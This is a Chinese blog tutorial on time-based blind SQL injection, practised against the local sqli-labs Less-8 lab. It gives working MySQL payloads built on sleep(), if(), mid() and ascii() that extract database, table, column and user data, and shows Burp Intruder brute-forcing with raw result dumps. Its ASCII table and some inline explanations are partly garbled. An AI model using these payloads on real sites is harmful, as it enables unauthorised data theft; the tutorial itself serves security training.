延时注学习

2022-02-13 17:03:34 浏览数 (1)

SQL盲注:基于时间延迟注入

靶场环境搭建

所需软件

Phpstudy2016,sql注入靶场文件 Phpstduy 官网下载地址:https://www.xp.cn/ sql注入靶场下载地址:https://github.com/Audi-1/sqli-labs

下载安装 phpstudy,下载sql注入靶场文件压缩包,

解压文件靶场环境文件,放到 phpstudy 文件目录下的 WWW 文件夹下,

然后运行 phpstudy

然后访问,http://localhost/,或者 http://127.0.0.1

点击 Setup/reset Database for labs 选项安装靶场数据库等文件

出现这个就说明安装完成

返回访问 http://127.0.0.1 主页就行

对照 ascii 表

控制字符

ASCII 值

控制字符

ASCII 值

控制字符

ASCII 值

控制字符

NUT

32

(space)

64

@

96

SOH

33

!

65

A

97

a

STX

34

66

B

98

b

ETX

35

#

67

C

99

c

EOT

36

$

68

D

100

d

ENQ

37

%

69

E

101

e

ACK

38

&

70

F

102

f

BEL

39

,

71

G

103

g

BS

40

(

72

H

104

h

HT

41

)

73

I

105

i

LF

42

*

74

J

106

j

VT

43

75

K

107

k

FF

44

,

76

L

108

l

CR

45

-

77

M

109

m

SO

46

.

78

N

110

n

SI

47

/

79

O

111

o

DLE

48

0

80

P

112

p

DCI

49

1

81

Q

113

q

DC2

50

2

82

R

114

r

DC3

51

3

83

S

115

s

DC4

52

4

84

T

116

t

NAK

53

5

85

U

117

u

SYN

54

6

86

V

118

v

TB

55

7

87

W

119

w

CAN

56

8

88

X

120

x

EM

57

9

89

Y

121

y

SUB

58

:

90

Z

122

z

ESC

59

;

91

[

123

{

FS

60

<

92

/

124

|

GS

61

=

93

]

125

}

RS

62

>

94

^

126

`

US

63

?

95

_

127

DEL

本次 sql 延时注入选择的是第八关(图中所示)。

SQL 注入工具采用的基本都为盲注及其它注入。这里以 Mysql 盲注为示例: 何为延时注入?

所谓延时注入主要针对页面无变化,无法用布尔真假判断,无法报错的情况下注入。

这里需要用上 Mysql 的 4 个函数:sleep()、if()、mid()、ord();

  • sleep() //延时
  • if(条件,True,False) //判断语句
  • mid(str,1,1) 截取 //指定字符串截取,截取字符开始长度-结束长度
  • ascii //转换为 ascii 编码

猜库名

这里先猜解一下 database()当前数据库名字,

构造语句

‘ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –

该语法意思是,mid 函数方法截取 database()当前库库名第一个字符,判断第一个字符是否为 1,

  1. 对应的是 ascii 字符,如果第一个字符=其中的一个 ascii 字符,那么就延时 5 秒,如果不等于则延时 1 秒,我们这里可以用快捷方法,直接上 burpsuite 爆破即可访问该地址,然后抓包

http://127.0.0.1/Less-8/?id=1’ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –

右 键

选择 Send to intrude 发送到爆破猜解模块中

发送完成后,我们选择爆破这俩个参数

接下来选择 payload 模块

第一个参数选择这个快捷模块 Numbers

第二个模块亦是如此,不过这里填写的是所有 ascii 字符对应的十进制位数

1-127

填写完成后点击右边的 Start attack 按钮 ,开始爆破

爆破出来得到 database()库名,对应的 ascii 字符我们来拼接一下

1-115 ,2-101,3-99,4-117,5-114,6-105,7-116,8-121 对应 ascii 表最终得到库名为 security

http://127.0.0.1/Less-8/?id=1’ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –

判断表名长度

构造语句

’ and if(length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4,1,sleep(5)) –

存在延时,说明表名长度不等于 4.。

’ and if(length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6,1,sleep(5)) –

存在延时,说明表名长度是 6。

猜表名

构造语句

http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113,sleep(10),1);–

符合条件说明,第一个ascii大于113

http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>115,sleep(10),1);–

不符合条件,第一个ascii不大于115

http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(10),1);–

符合条件,说明第一个ascii码=115

这样写太麻烦,还得一个一个猜解,这里我们直接上burpsuite爆破猜解访问poc抓包

http://127.0.0.1/Less-8/index.php?id=1’and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113,sleep(10),1);–

然后还像爆破猜解库名一样猜解表名

选 择 这 俩 个 参 数

然后导入字典开始爆破

最终得到表名对应的 ascii 码

1114,101,102,101,114,101,114,115

最终得到表名为 referers

如果觉得麻烦也可以同时猜解三个表名

117 97 103 101 110 116 115 uagents

再对应 ascii 码表查看一下就可以得到所有表名了。

猜列名

只需要将select语句里的

table_name 改为 column_name 以及 information_schemation.tables 改为 information_schemation.columns

就可以了。

我们来猜解一下列名

构造语句

http://127.0.0.1/Less-8/index.php?id=1'and if(ascii(mid((select column_name from information_ schema.columns where table_schema=database() limit 1,1),1,1))>113,sleep(10),1); –

猜字段内容

构造语句

‘ and if(ascii(mid((select username from security.users order by id limit

0,1),2,1))=117,sleep(10),1);–

直接上 burp 爆破

同时爆破列名每一位对应的 ascii 码。

对应 ascii 码得到 email_id

爆破 users 表

爆破出来的结果

代码语言:javascript复制
0 200 false false 926

25601 1 1 65 200 false false 926 1

38541 1 8 97 200 false false 926 1

40061 1 4 101 200 false false 926 1

40841 1 3 103 200 false false 926 1

41701 1 6 105 200 false false 926 1

42881 1 5 108 200 false false 926 1

43621 1 2 110 200 false false 926 1

43721 1 7 110 200 false false 926 1

20110 10 6 51 200 false false 926 1

38410 10 1 97 200 false false 926 1

39630 10 2 100 200 false false 926 1

41670 10 4 105 200 false false 926 1

43250 10 3 109 200 false false 926 1

43690 10 5 110 200 false false 926 1

38511 11 6 97 200 false false 926 1

38451 11 3 97 200 false false 926 1

39611 11 1 100 200 false false 926 1

41231 11 2 104 200 false false 926 1

20512 12 6 52 200 false false 926 1

39632 12 2 100 200 false false 926 1

41672 12 4 105 200 false false 926 1

43252 12 3 109 200 false false 926 1

43262 2 4 109 200 false false 926 1

46422

2

2

117 200 false false 926 1

48082

2

5

121 200 false false 926 1

40103

3

6

101 200 false false 926 1

45603

3

1

115 200 false false 926 1

46463

3

4

117 200 false false 926 1

41684

4

5

105 200 false false 926 1

45604

4

1

115 200 false false 926 1

46024

4

2

116 200 false false 926 1

46444

4

3

117 200 false false 926 1

38525

5

7

97 200 false false 926 1

43305

5

6

109 200 false false 926 1

45605

5

1

115 200 false false 926 1

46425

5

2

117 200 false false 926 1

38426

6

2

97 200 false false 926 1

38486

6

5

97 200 false false 926 1

43266

6

4

109 200 false false 926 1

43706

6

6

110 200 false false 926 1

39627

7

2

100 200 false false 926 1

41667

7

4

105 200 false false 926 1

43687

7

5

110 200 false false 926 1

39628

8

2

100 200 false false 926 1

43248

8

3

109 200 false false 926 1

43688

8

5

110 200 false false 926 1

38409

9

1

97 200 false false 926 1

39629

9

2

100 200 false false 926 1

41669

9

4 105 200 false false 926 1

43249

9

3 109 200 false false 926 1

43689

9

5 110 200 false false 926 1

对应 ascii 码可以得到具体的内容信息。

0 人点赞